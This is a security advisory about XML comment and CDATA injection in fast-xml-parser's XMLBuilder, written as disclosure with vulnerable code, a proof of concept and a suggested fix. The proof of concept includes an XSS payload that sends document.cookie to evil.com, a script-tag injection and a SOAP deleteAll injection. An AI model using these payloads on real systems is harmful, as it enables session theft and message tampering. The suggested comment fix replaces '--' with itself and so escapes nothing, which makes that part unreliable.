fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

Description

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:
- CVE-2023-26920: Prototype pollution (parser)
- CVE-2023-34104: ReDoS (parser)
- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

  1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
  2. SOAP injection: Modify SOAP message structure by injecting XML elements
  3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
  4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '--');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-22 20:04:17 UTC
Updated
2026-05-08 21:47:28 UTC
GitHub reviewed
2026-04-22 20:04:17 UTC
NVD published
2026-05-07

EPSS Score

Score Percentile
0.03% 8.20%

CVSS Scores

Base score Version Severity Vector
6.1 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:L)
Attackers could change some data, but it’s limited—not everything goes.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-91 XML Injection (aka Blind XPath Injection)

Credits

  • TharVid (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm fast-xml-parser < 5.7.0 5.7.0

References

cvelogic Threat Intelligence